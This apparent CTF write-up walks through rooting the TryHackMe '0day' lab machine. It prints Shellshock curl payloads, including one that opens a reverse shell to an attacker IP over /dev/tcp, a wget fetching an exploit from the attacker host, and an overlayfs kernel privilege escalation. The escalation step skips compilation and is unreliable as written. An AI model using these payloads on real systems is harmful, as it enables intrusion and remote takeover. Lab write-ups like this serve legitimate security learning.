0day Room — TryHackMe CTF Writeup | Shellshock & Kernel Exploit

From a taunting robots.txt to root — a classic vulnerability chain

The Dare Begins

The machine is called 0day. The web server greets you with a simple page. And robots.txt? It just says:

You really thought it'd be this easy?

Challenge accepted.

Step 1: Recon with Nmap

bash

sudo nmap -p22,80 -sV -sC -T4 10.48.153.73

Two open ports:

• Port 22 — OpenSSH 6.6.1p1 (notably old)
• Port 80 — Apache 2.4.7 titled “0day”

Old software versions on a room called 0day. The hints are writing themselves.

Step 2: Directory Fuzzing with ffuf

bash

ffuf -u http://10.48.153.73/FUZZ -w /usr/share/wordlists/dirb/common.txt -c

Interesting hits:

• /admin — redirect
• /backup — redirect
• /secret — redirect
• /cgi-bin/ — 403 Forbidden (but exists!)
• /uploads — redirect

The /cgi-bin/ directory stands out immediately. CGI scripts running on an old Apache version is a massive red flag — one specific vulnerability comes to mind.

Step 3: Vulnerability Scanning with Nuclei

bash

nuclei -target 10.48.153.73

Nuclei confirms the suspicion instantly:

[CVE-2014-6271] [critical] http://10.48.153.73/cgi-bin/test.cgi

Shellshock. One of the most notorious vulnerabilities in Linux history — a bug in Bash that allows attackers to execute arbitrary commands through environment variables passed to CGI scripts.

Step 4: Exploiting Shellshock — Initial Shell

The exploit is elegant in its simplicity. A malformed User-Agent header carrying a bash command:

bash

curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd' " \
http://10.48.153.73/cgi-bin/test.cgi

so, now i use reverse shell

curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'exec bash -i &>/dev/tcp/192.168.143.228/1234 <&1'" \
http://10.48.153.73/cgi-bin/test.cgi

Listener catches the shell:

bash

nc -lvnp 1234

Shell landed as www-data. First flag grabbed:

Step 5: Privilege Escalation — Kernel Exploit

Checking the OS version reveals the path forward:

Ubuntu 14.04.1 LTS — Linux Kernel 4.3.3

This kernel version is vulnerable to the overlayfs Local Privilege Escalation exploit. A writable /tmp directory gives us the perfect staging ground:

bash

# Transfer exploit from attacker machine
wget http://192.168.143.228:8000/overlayfs.c

# Make it executable and run
chmod +x overlayfs.c
./overlayfs

THM{g00d_j0b_..........}  ✅  — Root

Attack Chain Summary

Nmap scan
    ↓
cgi-bin discovered via ffuf
    ↓
Nuclei detects CVE-2014-6271 (Shellshock)
    ↓
Malicious User-Agent → RCE as www-data
    ↓
Old kernel (4.3.3) → overlayfs exploit
    ↓
ROOT

Key Takeaways

• Shellshock (CVE-2014–6271) is over a decade old but still appears on unpatched systems — always check /cgi-bin/ on older Apache servers
• Nuclei is incredibly powerful for rapid CVE detection — run it early in enumeration
• Kernel version is one of the first things to check after gaining initial access
• Writable /tmp is your best friend for transferring and running exploits
• Old software + known CVEs = fast path to shell

If this helped you, follow for more TryHackMe and HackTheBox writeups. Drop a comment with your approach — always curious how others tackle the same room! 🔐